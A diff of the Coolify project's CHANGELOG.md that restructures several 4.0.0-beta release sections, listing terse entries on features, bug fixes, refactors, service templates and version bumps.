+- Scheduled tasks and backups are executed by server timezone.
+- Show backup timezone on the UI
+- Disappearing UI after livewire event received
+- Add default vector db for anythingllm
+- We need XSRF-TOKEN for terminal
+- Prevent default link behavior for resource and settings actions in dashboard
+- Increase default php memory limit
+- Show if only build servers are added to your team
+- Update Livewire button click method to use camelCase
+- Local dropzonejs
+- Import backups due to js stuff should not be navigated
+- Install inetutils on Arch Linux
+- Use ip in place of hostname from inetutils in arch
+- Update import command to append file redirection for database restoration
+- Ui bug on pw confirmation
+- Exclude system and computed fields from model replication
+- Service cloning on a separate server
+- Application cloning
+- `Undefined variable $fs_path` for databases
+- Service and database cloning and label generation
+- Labels and URL generation when cloning
+- Clone naming for different database data volumes
+- Implement all the cloneMe changes for ResourceOperations as well
+- Volume and fileStorages cloning
+- View text and helpers
+- Teable
+- Trigger with external db
+- Set `EXPERIMENTAL_FEATURES` to false for labelstudio
+- Monaco editor disabled state
+- Edge case where executions could be null
+- Create destination properly
+- Getcontainer status should timeout after 30s
+- Enable response for temporary unavailability in sentinel push endpoint
+- Use timeout in cleanup resources
+- Add timeout to sentinel process checks for improved reliability
+- Horizon job checker
+- Update response message for sentinel push route
+- Add own servers on cloud
+- Application deployment
+- Service update statsu
+- If $SERVICE found in the service specific configuration, then search for it in the db
+- Instance wide GitHub apps are not available on other teams then the source team
+- Function calls
+- UI
+- Deletion of single backup
+- Backup job deletion - delete all backups from s3 and local
+- Use new removeOldBackups function
+- Retention functions and folder deletion for local backups
+- Storage retention setting
+- Db without s3 should still backup
+- Wording
+- `Undefined variable $service` when creating a new service
+- Nodebb service
+- Calibre-web service
+- Rallly and actualbudget service
+- Removed container_name
+- Added healthcheck for gotenberg template
+- Gotenberg
+- *(template)* Gotenberg healthcheck, use /health instead of /version
+- Use wire:navigate on sidebar
+- Use wire:navigate on dashboard
+- Use wire:navigate on projects page
+- More wire:navigate
+- Even more wire:navigate
+- Service navigation
+- Logs icons everywhere + terminal
+- Redis DB should use the new resourceable columns
+- Joomla service
+- Add back letters to prod password requirement
+- Check System and GitHub time and throw and error if it is over 50s out of sync
+- Error message and server time getting
+- Error rendering
+- Render html correctly now
+- Indent
+- Potential fix for permissions update
+- Expiration time claim ('exp') must be a numeric value
+- Sanitize html error messages
+- Production password rule and cleanup code
+- Use json as it is just better than string for huge amount of logs
+- Use `wire:navigate` on server sidebar
+- Use finished_at for the end time instead of created_at
+- Cancelled deployments should not show end and duration time
+- Redirect to server index instead of show on error in Advanced and DockerCleanup components
+- Disable registration after creating the root user
+- RootUserSeeder
+- Regex username validation
+- Add spacing around echo outputs
+- Success message
+- Silent return if envs are empty or not set.
+
+### 💼 Other
+
+- Arrrrr
+- Dep
+- Docker dep
+
+### 🚜 Refactor
+
+- Rename parameter in DatabaseBackupJob for clarity
+- Improve checkbox component accessibility and styling
+- Remove unused tags method from ApplicationDeploymentJob
+- Improve deployment status check in isAnyDeploymentInprogress function
+- Extend HorizonServiceProvider from HorizonApplicationServiceProvider
+- Streamline job status retrieval and clean up repository interface
+- Enhance ApplicationDeploymentJob and HorizonServiceProvider for improved job handling
+- Remove commented-out unsubscribe route from API
+- Update redirect calls to use a consistent navigation method in deployment functions
+- AppServiceProvider
+- Github.php
+- Improve data formatting and UI
+
+### ⚙️ Miscellaneous Tasks
+
+- Improve Penpot healthchecks
+- Switch up readonly lables to make more sense
+- Remove unused computed fields
+- Use the new job dispatch
+- Disable volume data cloning for now
+- Improve code
+- Lowcoder service naming
+- Use new functions
+- Improve error styling
+- Css
+- More css as it still looks like shit
+- Final css touches
+- Ajust time to 50s (tests done)
+- Remove debug log, finally found it
+- Remove more logging
+- Remove limit on commit message
+- Remove dayjs
+- Remove unused code and fix import
+
+## [4.0.0-beta.380] - 2024-12-27
+
+### 🚀 Features
+
+- New ServerReachabilityChanged event
+- Use new ServerReachabilityChanged event instead of isDirty
+- Add infomaniak oauth
+- Add server disk usage check frequency
+- Add environment_uuid support and update API documentation
+- Add service/resource/project labels
+- Add coolify.environment label
+- Add database subtype
+- Migrate to new encryption options
+- New encryption options
+
+### 🐛 Bug Fixes
+
+- Render html on error page correctly
+- Invalid API response on missing project
+- Applications API response code + schema
+- Applications API writing to unavailable models
+- If an init script is renamed the old version is still on the server
+- Oauthseeder
+- Compose loading seq
+- Resource clone name + volume name generation
+- Update Dockerfile entrypoint path to /etc/entrypoint.d
+- Debug mode
+- Unreachable notifications
+- Remove duplicated ServerCheckJob call
+- Few fixes and use new ServerReachabilityChanged event
+- Use serverStatus not just status
+- Oauth seeder
+- Service ui structure
+- Check port 8080 and fallback to 80
+- Refactor database view
+- Always use docker cleanup frequency
+- Advanced server UI
+- Html css
+- Fix domain being override when update application
+- Use nixpacks predefined build variables, but still could update the default values from Coolify
+- Use local monaco-editor instead of Cloudflare
+- N8n timezone
+- Smtp encryption
+- Bind() to 0.0.0.0:80 failed
+- Oauth seeder
+- Unreachable notifications
+- Instance settings migration
+- Only encrypt instance email settings if there are any
+- Error message
+- Update healthcheck and port configurations to use port 8080
+
+### 🚜 Refactor
+
+- Rename `coolify.environment` to `coolify.environmentName`
+
+### ⚙️ Miscellaneous Tasks
+
+- Regenerate API spec, removing notification fields
+- Remove ray debugging
 - Version ++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version ++
-- Version++
-- Version++
-- Version++
-- Fixed typo on New Git Source view
-- Version++
-- Version++
-- Version++
-- Version++
-- Lock file + fix packages
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Update packages
-- Version++
-- Update build scripts
-- Update build packages
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Add .pnpm-store in .gitignore
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Minor changes
-- Minor changes
-- Minor changes
-- Whoops
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Update staging release
-- Version++
-- Version++
-- Add jda icon for lavalink service
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Version++
-- Update version to 4.0.0-beta.275
-- Update DNS server validation helper text
-- Dark mode should be the default
-- Improve menu item styling and spacing in service configuration and index views
-- Improve menu item styling and spacing in service configuration and index views
-- Improve menu item styling and spacing in project index and show views
-- Remove docker compose versions
-- Add Listmonk service template and logo
-- Refactor GetContainersStatus.php for improved readability and maintainability
-- Refactor ApplicationDeploymentJob.php for improved readability and maintainability
-- Add metrics and logs directories to installation script
-- Update sentinel version to 0.0.2 in versions.json
-- Update permissions on metrics and logs directories
-- Comment out server sentinel check in ServerStatusJob
-- Update version numbers to 4.0.0-beta.278
-- Update hover behavior and cursor style in scheduled task executions view
-- Refactor scheduled task view to improve code readability and maintainability
-- Skip scheduled tasks if application or service is not running
-- Remove debug logging statements in Kernel.php
-- Handle invalid cron strings in Kernel.php
-- Refactor Service.php to handle missing admin user in extraFields() method
-- Update twenty CRM template with environment variables and dependencies
-- Refactor applications.php to remove unused imports and improve code readability
-- Refactor deployment index.blade.php for improved readability and rollback handling
-- Refactor GitHub app selection UI in project creation form
-- Update ServerLimitCheckJob.php to handle missing serverLimit value
-- Remove unnecessary code for saving commit message
-- Update DOCKER_VERSION to 26.0 in install.sh script
-- Update Docker and Docker Compose versions in Dockerfiles
-- Update version numbers to 4.0.0-beta.279
-- Limit commit message length to 50 characters in ApplicationDeploymentJob
-- Update version to 4.0.0-beta.283
-- Change pre and post deployment command length in applications table
-- Refactor container name logic in GetContainersStatus.php and ForcePasswordReset.php
-- Remove unnecessary content from Docker Compose file
-- Update Sentry release version to 4.0.0-beta.287
-- Add Thompson Edolo as a sponsor
-- Add null checks for team in Stripe webhook
-- Update Sentry release version to 4.0.0-beta.288
-- Update for version 289
-- Fix formatting issue in deployment index.blade.php file
-- Remove unnecessary wire:navigate attribute in breadcrumbs.blade.php
-- Rename docker dirs
-- Update laravel/socialite to version v5.14.0 and livewire/livewire to version 3.4.9
-- Update modal styles for better user experience
-- Update deployment index.blade.php script for better performance
-- Update version numbers to 4.0.0-beta.290
-- Update version numbers to 4.0.0-beta.291
-- Update version numbers to 4.0.0-beta.292
-- Update version numbers to 4.0.0-beta.293
-- Add upgrade guide link to upgrade.blade.php
-- Improve upgrade.blade.php with clearer instructions and formatting
-- Update version numbers to 4.0.0-beta.294
-- Add Lightspeed.run as a sponsor
-- Update Dockerfile to install vim
-- Update Dockerfile with latest versions of Docker, Docker Compose, Docker Buildx, Pack, and Nixpacks
-- Update version numbers to 4.0.0-beta.295
-- Update supported OS list with almalinux
-- Update install.sh to support PopOS
-- Update install.sh script to version 1.3.2 and handle Linux Mint as Ubuntu
-- Update page title in resource index view
-- Update logo file path in logto.yaml
-- Update logo file path in logto.yaml
-- Remove commented out code for docker container removal
-- Add isAnyDeploymentInprogress function to check if any deployments are in progress
-- Add ApplicationDeploymentJob and pint.json
-- Update version numbers to 4.0.0-beta.298
-- Switch to database sessions from redis
-- Update dependencies and remove unused code
-- Update tailwindcss and vue versions in package.json
-- Update service template URL in constants.php
-- Update sentinel version to 0.0.8
-- Update chart styling and loading text
-- Update sentinel version to 0.0.9
-- Update Spanish translation for failed authentication messages
-- Add portuguese traslation
-- Add Turkish translations
-- Add Vietnamese translate
-- Add Treive logo to donations section
-- Update README.md with latest release version badge
-- Update latest release version badge in README.md
-- Update version to 4.0.0-beta.299
-- Move server delete component to the bottom of the page
-- Update version to 4.0.0-beta.301
-- Update version to 4.0.0-beta.302
-- Update version to 4.0.0-beta.303
-- Update version to 4.0.0-beta.305
-- Update version to 4.0.0-beta.306
-- Add log1x/laravel-webfonts package
-- Update version to 4.0.0-beta.307
-- Refactor ServerStatusJob constructor formatting
-- Update Monaco Editor for Docker Compose and Proxy Configuration
-- More details
-- Refactor shared.php helper functions
-- Update Plausible docker compose template to Plausible 2.1.0
-- Update Plausible docker compose template to Plausible 2.1.0
-- Update livewire/livewire dependency to version 3.4.9
-- Refactor checkIfDomainIsAlreadyUsed function
-- Update storage.blade.php view for livewire project service
-- Update version to 4.0.0-beta.310
-- Update composer dependencies
-- Add new logo for Latitude
-- Bump version to 4.0.0-beta.311
-- Update version to 4.0.0-beta.315
-- Update version to 4.0.0-beta.316
-- Update bug report template
-- Update repository form with simplified URL input field
-- Update width of container in general.blade.php
-- Update checkbox labels in general.blade.php
-- Update general page of apps
-- Handle JSON parsing errors in format_docker_command_output_to_json
-- Update Traefik image version to v2.11
-- Update version to 4.0.0-beta.317
-- Update version to 4.0.0-beta.318
-- Update helper message with link to documentation
-- Disable health check by default
-- Remove commented out code for sending internal notification
-- Update APP_BASE_URL to use SERVICE_FQDN_PLANE
-- Update resource-limits.blade.php with improved input field helpers
-- Update version numbers to 4.0.0-beta.319
-- Remove commented out code for docker image pruning
-- Collect/create/update volumes in parseDockerComposeFile function
-- Update version to 4.0.0-beta.320
-- Add pull_request image builds to GH actions
-- Add comment explaining the purpose of disconnecting the network in cleanup_unused_network_from_coolify_proxy()
-- Update formbricks template
-- Update registration view to display a notice for first user that it will be an admin
-- Update server form to use password input for IP Address/Domain field
-- Update navbar to include service status check
-- Update navbar and configuration to improve service status check functionality
-- Update workflows to include PR build and merge manifest steps
-- Update UpdateCoolifyJob timeout to 10 minutes
-- Update UpdateCoolifyJob to dispatch CheckForUpdatesJob synchronously
-- Update version to 4.0.0-beta.321
-- Update version to 4.0.0-beta.322
-- Update version to 4.0.0-beta.323
-- Update version to 4.0.0-beta.324
-- New compose parser with tests
-- Update version to 1.3.4 in install.sh and 1.0.6 in upgrade.sh
-- Update memory limit to 64MB in horizon configuration
-- Update php packages
-- Update axios npm dependency to version 1.7.5
-- Update Coolify version to 4.0.0-beta.324 and fix file paths in upgrade script
-- Update Coolify version to 4.0.0-beta.324
-- Update Coolify version to 4.0.0-beta.325
-- Update Coolify version to 4.0.0-beta.326
-- Add cd command to change directory before removing .env file
-- Update Coolify version to 4.0.0-beta.327
-- Update Coolify version to 4.0.0-beta.328
-- Update sponsor links in README.md
-- Update version.json to versions.json in GitHub workflow
-- Cleanup stucked resources and scheduled backups
-- Update GitHub workflow to use versions.json instead of version.json
-- Update GitHub workflow to use versions.json instead of version.json
-- Update GitHub workflow to use versions.json instead of version.json
-- Update GitHub workflow to use jq container for version extraction
-- Update GitHub workflow to use jq container for version extraction
-- Update UI for displaying no executions found in scheduled task list
-- Update UI for displaying deployment status in deployment list
-- Update UI for displaying deployment status in deployment list
-- Ignore unnecessary files in production build workflow
-- Update server form layout and settings
-- Update Dockerfile with latest versions of PACK and NIXPACKS
-- Update coolify-helper.yml to get version from versions.json
-- Disable Ray by default
-- Enable Ray by default and update Dockerfile with latest versions of PACK and NIXPACKS
-- Update Ray configuration and Dockerfile
-- Add middleware for updating environment variables by UUID in `api.php` routes
-- Expose port 3000 in browserless.yaml template
-- Update Ray configuration and Dockerfile
-- Update coolify version to 4.0.0-beta.331
-- Update versions.json and sentry.php to 4.0.0-beta.332
-- Update version to 4.0.0-beta.332
-- Update DATABASE_URL in plunk.yaml to use plunk database
-- Add coolify.managed=true label to Docker image builds
-- Update docker image pruning command to exclude managed images
-- Update docker cleanup schedule to run daily at midnight
-- Update versions.json to version 1.0.1
-- Update coolify-helper.yml to include "next" branch in push trigger
-- Set timeout for ServerCheckJob to 60 seconds
-- Update appwrite.yaml to include OpenSSL key variable assignment
-- Update version numbers to 4.0.0-beta.333
-- Copy .env file to .env-{DATE} if it exists
-- Update .env file with new values
-- Update server check job middleware to use server ID instead of UUID
-- Add reminder to backup .env file before running install script again
-- Copy .env file to backup location during installation script
-- Add reminder to backup .env file during installation script
-- Update permissions in pr-build.yml and version numbers
-- Add minio/mc command to Dockerfile
-- Remove itsgoingd/clockwork from require-dev in composer.json
-- Update 'key' value of gitlab in Service.php to use environment variable
-- Update release version to 4.0.0-beta.335
-- Update constants.ssh.mux_enabled in remoteProcess.php
-- Update listeners and proxy settings in server form and new server components
-- Remove unnecessary null check for proxy_type in generate_default_proxy_configuration
-- Remove unnecessary SSH command execution time logging
-- Update release version to 4.0.0-beta.336
-- Update coolify environment variable assignment with double quotes
-- Update shared.php to fix issues with source and network variables
-- Update terminal styling for better readability
-- Update button text for container connection form
-- Update Dockerfile and workflow for Coolify Realtime (v4)
-- Remove unused entrypoint script and update volume mapping
-- Update .env file and docker-compose configuration
-- Update APP_NAME environment variable in docker-compose.prod.yml
-- Update WebSocket URL in terminal.blade.php
-- Update Dockerfile and workflow for Coolify Realtime (v4)
-- Update Dockerfile and workflow for Coolify Realtime (v4)
-- Update Dockerfile and workflow for Coolify Realtime (v4)
-- Rename Command Center to Terminal in code and views
-- Update branch restriction for push event in coolify-helper.yml
-- Update terminal button text and layout in application heading view
-- Refactor terminal component and select form layout
-- Update coolify nightly version to 4.0.0-beta.335
-- Update helper version to 1.0.1
-- Fix syntax error in versions.json
-- Update version numbers to 4.0.0-beta.337
-- Update Coolify installer and scripts to include a function for fetching programming jokes
-- Update docker network connection command in ApplicationDeploymentJob.php
-- Add validation to prevent selecting 'default' server or container in RunCommand.php
-- Update versions.json to reflect latest version of realtime container
-- Update soketi image to version 1.0.1
-- Nightly - Update soketi image to version 1.0.1 and versions.json to reflect latest version of realtime container
-- Update version numbers to 4.0.0-beta.339
-- Update version numbers to 4.0.0-beta.340
-- Update version numbers to 4.0.0-beta.341
-- Update version numbers to 4.0.0-beta.342
-- Update remove-labels-and-assignees-on-close.yml
-- Add SSH key for localhost in ProductionSeeder
-- Update SSH key generation in install.sh script
-- Update ProductionSeeder to call OauthSettingSeeder and PopulateSshKeysDirectorySeeder
-- Update install.sh to support Asahi Linux
-- Update install.sh version to 1.6
-- Remove unused middleware and uniqueId method in DockerCleanupJob
-- Refactor DockerCleanupJob to remove unused middleware and uniqueId method
-- Remove unused migration file for populating SSH keys and clearing mux directory
-- Add modified files to the commit
-- Refactor pre-commit hook to improve performance and readability
-- Update CONTRIBUTING.md with troubleshooting note about database migrations
-- Refactor pre-commit hook to improve performance and readability
-- Update cleanup command to use Redis instead of queue
-- Update Docker commands to start proxy
-- Update version numbers to 4.0.0-beta.343
-- Update version numbers to 4.0.0-beta.344
-- Update version numbers to 4.0.0-beta.345
-- Update version numbers to 4.0.0-beta.346
-- Add autocomplete attribute to input fields
-- Refactor API Tokens component to use isApiEnabled flag
-- Update versions.json file
-- Remove unused .env.development.example file
-- Update API Tokens view to include link to Settings menu
-- Update web.php to cast server port as integer
-- Update backup deletion labels to use language files
-- Update database startup heading title
-- Update database startup heading title
-- Custom vite envs
-- Update version numbers to 4.0.0-beta.348
-- Refactor code to improve SSH key handling and storage
-- Update Mailpit logo to use SVG format
-- Fix docs link in running state
-- Update Coolify Realtime workflow to only trigger on the main branch
-- Refactor instanceSettings() function to improve code readability
-- Update Coolify Realtime image to version 1.0.2
-- Remove unnecessary code in DatabaseBackupJob.php
-- Add "Not Usable" indicator for storage items
-- Refactor instanceSettings() function and improve code readability
-- Update version numbers to 4.0.0-beta.349 and 4.0.0-beta.350
-- Update version numbers to 4.0.0-beta.350 in configuration files
-- Update command signature and description for cleanup application deployment queue
-- Add missing import for Attribute class in ApplicationDeploymentQueue model
-- Update modal input in server form to prevent closing on outside click
-- Remove unnecessary command from SshMultiplexingHelper
-- Remove commented out code for uploading to S3 in DatabaseBackupJob
-- Update soketi service image to version 1.0.3
-- Update version to 4.0.0-beta.352
-- Refactor DatabaseBackupJob to handle missing team
-- Update version to 4.0.0-beta.353
-- Update service application view
-- Update version to 4.0.0-beta.354
-- Remove debug statement in Service model
-- Remove commented code in Server model
-- Fix application deployment queue filter logic
-- Refactor modal-confirmation component
-- Update it-tools service template and port configuration
-- Update homarr service template and remove unnecessary code
-- Update homarr service template and remove unnecessary code
-- Update version to 4.0.0-beta.355
-- Update version to 4.0.0-beta.356
-- Remove commented code for shared variable type validation
-- Update MariaDB image to version 11 and fix service environment variable orders
-- Update anythingllm.yaml volumes configuration
-- Update proxy configuration paths for Caddy and Nginx in dev
-- Update password form submission in modal-confirmation component
-- Update project query to order by name in uppercase
-- Update project query to order by name in lowercase
-- Update select.blade.php with improved search functionality
-- Add Nitropage service template and logo
-- Bump coolify-helper version to 1.0.2
-- Refactor loadServices2 method and remove unused code
-- Update version to 4.0.0-beta.357
-- Update service names and volumes in windmill.yaml
-- Update version to 4.0.0-beta.358
-- Ignore .ignition.json files in Docker and Git
-- Add mattermost logo as svg
-- Add mattermost svg to compose
-- Update version to 4.0.0-beta.357
-- Fix form submission and keydown event handling in modal-confirmation.blade.php
-- Update version numbers to 4.0.0-beta.359 in configuration files
-- Disable adding default environment variables in shared.php
-- Update laravel/horizon dependency to version 5.29.1
-- Update service extra fields to use dynamic keys
-- Update livewire/livewire dependency to version 3.4.9
-- Add transmission template desc
-- Update transmission docs link
-- Update version numbers to 4.0.0-beta.360 in configuration files
-- Update AWS environment variable names in unsend.yaml
-- Update AWS environment variable names in unsend.yaml
-- Update livewire/livewire dependency to version 3.4.9
-- Update version to 4.0.0-beta.361
-- Update Docker build and push actions to v6
-- Update Docker build and push actions to v6
-- Update Docker build and push actions to v6
-- Sync coolify-helper to dockerhub as well
-- Push realtime to dockerhub
-- Sync coolify-realtime to dockerhub
-- Rename workflows
-- Rename development to staging build
-- Sync coolify-testing-host to dockerhbu
-- Sync coolify prod image to dockerhub as well
-- Update Docker version to 26.0
-- Update project resource index page
-- Update project service configuration view
-- Edit www helper
-- Update dep
+
+## [4.0.0-beta.378] - 2024-12-13
+
+### 🐛 Bug Fixes
+
+- Monaco editor light and dark mode switching
+- Service status indicator + oauth saving
+- Socialite for azure and authentik
+- Saving oauth
+- Fallback for copy button
+- Copy the right text
+- Maybe fallback is now working
+- Only show copy button on secure context
+
+## [4.0.0-beta.377] - 2024-12-13
+
+### 🚀 Features
+
+- Add deploy-only token permission
+- Able to deploy without cache on every commit
+- Update private key nam with new slug as well
+- Allow disabling default redirect, set status to 503
+- Add TLS configuration for default redirect in Server model
+- Slack notifications
+- Introduce root permission
+- Able to download schedule task logs
+- Migrate old email notification settings from the teams table
+- Migrate old discord notification settings from the teams table
+- Migrate old telegram notification settings from the teams table
+- Add slack notifications to a new table
+- Enable success messages again
+- Use new notification stuff inside team model
+- Some more notification settings and better defaults
+- New email notification settings
+- New shared function name `is_transactional_emails_enabled()`
+- New shared notifications functions
+- Email Notification Settings Model
+- Telegram notification settings Model
+- Discord notification settings Model
+- Slack notification settings Model
+- New Discord notification UI
+- New Slack notification UI
+- New telegram UI
+- Use new notification event names
+- Always sent notifications
+- Scheduled task success notification
+- Notification trait
+- Get discord Webhook form new table
+- Get Slack Webhook form new table
+- Use new table or instance settings for email
+- Use new place for settings and topic IDs for telegram
+- Encrypt instance email settings
+- Use encryption in instance settings model
+- Scheduled task success and failure notifications
+- Add docker cleanup success and failure notification settings columns
+- UI for docker cleanup success and failure notification
+- Docker cleanup email views
+- Docker cleanup success and failure notification files
+- Scheduled task success email
+- Send new docker cleanup notifications
+- :passport_control: integrate Authentik authentication with Coolify
+- *(notification)* Add Pushover
+- Add seeder command and configuration for database seeding
+- Add new password magic env with symbols
+- Add documenso service
+
+### 🐛 Bug Fixes
+
+- Resolve undefined searchInput reference in Alpine.js component
+- URL and sync new app name
+- Typos and naming
+- Client and webhook secret disappear after sync
+- Missing `mysql_password` API property
+- Incorrect MongoDB init API property
+- Old git versions does not have --cone implemented properly
+- Don't allow editing traefik config
+- Restart proxy
+- Dev mode
+- Ui
+- Display actual values for disk space checks in installer script
+- Proxy change behaviour
+- Add warning color
+- Import NotificationSlack correctly
+- Add middleware to new abilities, better ux for selecting permissions, etc.
+- Root + read:sensive could read senstive data with a middlewarew
+- Always have download logs button on scheduled tasks
+- Missing css
+- Development image
+- Dockerignore
+- DB migration error
+- Drop all unused smtp columns
+- Backward compatibility
+- Email notification channel enabled function
+- Instance email settins
+- Make sure resend is false if SMTP is true and vice versa
+- Email Notification saving
+- Slack and discord url now uses text filed because encryption makes the url very long
+- Notification trait
+- Encryption fixes
+- Docker cleanup email template
+- Add missing deployment notifications to telegram
+- New docker cleanup settings are now saved to the DB correctly
+- Ui + migrations
+- Docker cleanup email notifications
+- General notifications does not go through email channel
+- Test notifications to only send it to the right channel
+- Remove resale_license from db as well
+- Nexus service
+- Fileflows volume names
+- --cone
+- Provider error
+- Database migration
+- Seeder
+- Migration call
+- Slack helper
+- Telegram helper
+- Discord helper
+- Telegram topic IDs
+- Make pushover settings more clear
+- Typo in pushover user key
+- Use Livewire refresh method and lock properties
+- Create pushover settings for existing teams
+- Update token permission check from 'write' to 'root'
+- Pushover
+- Oauth seeder
+- Correct heading display for OAuth settings in settings-oauth.blade.php
+- Adjust spacing in login form for improved layout
+- Services env values should be sensitive
+- Documenso
+- Dolibarr
+- Typo
+- Update OauthSettingSeeder to handle new provider definitions and ensure authentik is recreated if missing
+- Improve OauthSettingSeeder to correctly delete non-existent providers and ensure proper handling of provider definitions
+- Encrypt resend API key in instance settings
+- Resend api key is already a text column
+
+### 💼 Other
+
+- Test rename GitHub app
+- Checkmate service and fix prowlar slogan (too long)
+
+### 🚜 Refactor
+
+- Update Traefik configuration for improved security and logging
+- Improve proxy configuration and code consistency in Server model
+- Rename name method to sanitizedName in BaseModel for clarity
+- Improve migration command and enhance application model with global scope and status checks
+- Unify notification icon
+- Remove unused Azure and Authentik service configurations from services.php
+- Change email column types in instance_settings migration from string to text
+- Change OauthSetting creation to updateOrCreate for better handling of existing records
+
+### ⚙️ Miscellaneous Tasks
+
 - Regenerate openapi spec
 - Composer dep bump
 - Dep bump
@@ -5483,205 +3034,6043 @@ ### ⚙️ Miscellaneous Tasks
 - Reorder navbar
 - Rename topicID to threadId like in the telegram API response
 - Update PHP configuration to set memory limit using environment variable
-- Regenerate API spec, removing notification fields
-- Remove ray debugging
-- Version ++
-- Improve Penpot healthchecks
-- Switch up readonly lables to make more sense
-- Remove unused computed fields
-- Use the new job dispatch
-- Disable volume data cloning for now
-- Improve code
-- Lowcoder service naming
-- Use new functions
-- Improve error styling
-- Css
-- More css as it still looks like shit
-- Final css touches
-- Ajust time to 50s (tests done)
-- Remove debug log, finally found it
-- Remove more logging
-- Remove limit on commit message
-- Remove dayjs
-- Remove unused code and fix import
-- *(dep)* Bump nixpacks version
-- *(dep)* Version++
-- *(dep)* Bump helper version to 1.0.5
-- *(docker)* Add blank line for readability in Dockerfile
-- *(versions)* Update coolify versions to v4.0.0-beta.388
-- *(versions)* Update coolify versions to v4.0.0-beta.389 and add helper version retrieval script
-- *(versions)* Update coolify versions to v4.0.0-beta.389
-- *(core)* EnvironmentVariable Model now extends BaseModel to remove duplicated code
-- *(versions)* Update coolify versions to v4.0.0-beta.3909
-- *(version)* Bump Coolify version to 4.0.0-beta.391
-- *(config)* Increase default PHP memory limit to 256M
-- Add openapi response
-- *(workflows)* Make naming more clear and remove unused code
-- Bump Coolify version to 4.0.0-beta.392/393
-- *(ci)* Update changelog generation workflow to target 'next' branch
-- *(ci)* Update changelog generation workflow to target main branch
-- Rollback Coolify version to 4.0.0-beta.392
-- Bump Coolify version to 4.0.0-beta.393
-- Bump Coolify version to 4.0.0-beta.394
-- Bump Coolify version to 4.0.0-beta.395
-- Bump Coolify version to 4.0.0-beta.396
-- *(services)* Update zipline to use new Database env var. (#5210)
-- *(service)* Upgrade authentik service
-- *(service)* Remove unused env from zipline
-- Bump helper and realtime version
-- *(migration)* Remove unused columns
-- *(ssl)* Improve code in ssl helper
-- *(migration)* Ssl cert and key should not be nullable
-- *(ssl)* Rename CA cert to `coolify-ca.crt` because of conflicts
-- Rename ca crt folder to ssl
-- *(ui)* Improve valid until handling
-- Improve code quality suggested by code rabbit
-- *(supabase)* Update Supabase service template and Postgres image version
-- *(versions)* Update version numbers for coolify and nightly
-- *(versions)* Update version numbers for coolify and nightly
-- *(service)* Update minecraft service ENVs
-- *(service)* Add more vars to infisical.yaml (#5418)
-- *(service)* Add google variables to plausible.yaml (#5429)
-- *(service)* Update authentik.yaml versions (#5373)
-- *(core)* Remove redocs
-- *(versions)* Update coolify version numbers to 4.0.0-beta.403 and 4.0.0-beta.404
-- *(service)* Remove unused code in Bugsink service
-- *(versions)* Update version to 404
-- *(versions)* Bump version to 403 (#5520)
-- *(versions)* Bump version to 404
-- *(versions)* Bump version to 406
-- *(versions)* Bump version to 407
-- *(versions)* Bump version to 406
-- *(versions)* Bump version to 407 and 408 for coolify and nightly
-- *(versions)* Bump version to 408 for coolify and 409 for nightly
-- *(versions)* Update nightly version to 4.0.0-beta.410
-- *(pre-commit)* Remove OpenAPI generation command from pre-commit hook
-- *(versions)* Update realtime version to 1.0.7 and bump dependencies in package.json
-- *(versions)* Bump coolify version to 4.0.0-beta.409 in configuration files
-- *(versions)* Bump coolify version to 4.0.0-beta.410 and update nightly version to 4.0.0-beta.411 in configuration files
-- *(templates)* Update plausible and clickhouse images to latest versions and remove mail service
-- *(versions)* Update coolify version to 4.0.0-beta.411 and nightly version to 4.0.0-beta.412 in configuration files
-- *(versions)* Update coolify version to 4.0.0-beta.412 and nightly version to 4.0.0-beta.413 in configuration files
-- *(versions)* Update coolify version to 4.0.0-beta.413 and nightly version to 4.0.0-beta.414 in configuration files
-- *(versions)* Update realtime version to 1.0.8 in versions.json
-- *(versions)* Update realtime version to 1.0.8 in versions.json
-- *(docker)* Update soketi image version to 1.0.8 in production configuration files
-- *(versions)* Update coolify version to 4.0.0-beta.414 and nightly version to 4.0.0-beta.415 in configuration files
-- *(workflows)* Adjust workflow for announcement
-- *(versions)* Update coolify version to 4.0.0-beta.416 and nightly version to 4.0.0-beta.417 in configuration files; fix links in deployment view
-- *(seeder)* Update git branch from 'main' to 'v4.x' for multiple examples in ApplicationSeeder
-- *(versions)* Update coolify version to 4.0.0-beta.417 and nightly version to 4.0.0-beta.418
-- *(versions)* Update coolify version to 4.0.0-beta.418
-- *(versions)* Update coolify version to 4.0.0-beta.419 and nightly version to 4.0.0-beta.420 in configuration files
-- *(service)* Rename hoarder server to karakeep (#5607)
-- *(service)* Update Supabase services (#5708)
-- *(service)* Remove unused documenso env
-- *(service)* Formatting and cleanup of ryot
-- *(docs)* Remove changelog and add it to gitignore
-- *(versions)* Update version to 4.0.0-beta.419
-- *(service)* Diun formatting
-- *(docs)* Update CHANGELOG.md
-- *(service)* Switch convex vars
-- *(service)* Pgbackweb formatting and naming update
-- *(service)* Remove typesense default API key
-- *(service)* Format yamtrack healthcheck
-- *(core)* Remove unused function
-- *(ui)* Remove unused stopEvent code
-- *(service)* Remove unused env
-- *(tests)* Update test environment database name and add new feature test for converting container environment variables to array
-- *(service)* Update Immich service (#5886)
-- *(service)* Remove unused logo
-- *(api)* Update API docs
-- *(dependencies)* Update package versions in composer.json and composer.lock for improved compatibility and performance
-- *(dependencies)* Update package versions in package.json and package-lock.json for improved stability and features
-- *(version)* Update coolify-realtime to version 1.0.9 in docker-compose and versions files
-- *(version)* Update coolify version to 4.0.0-beta.420 and nightly version to 4.0.0-beta.421
-- *(service)* Changedetection remove unused code
-- *(service)* Update Evolution API image to the official one (#6031)
-- *(versions)* Bump coolify versions to v4.0.0-beta.420 and v4.0.0-beta.421
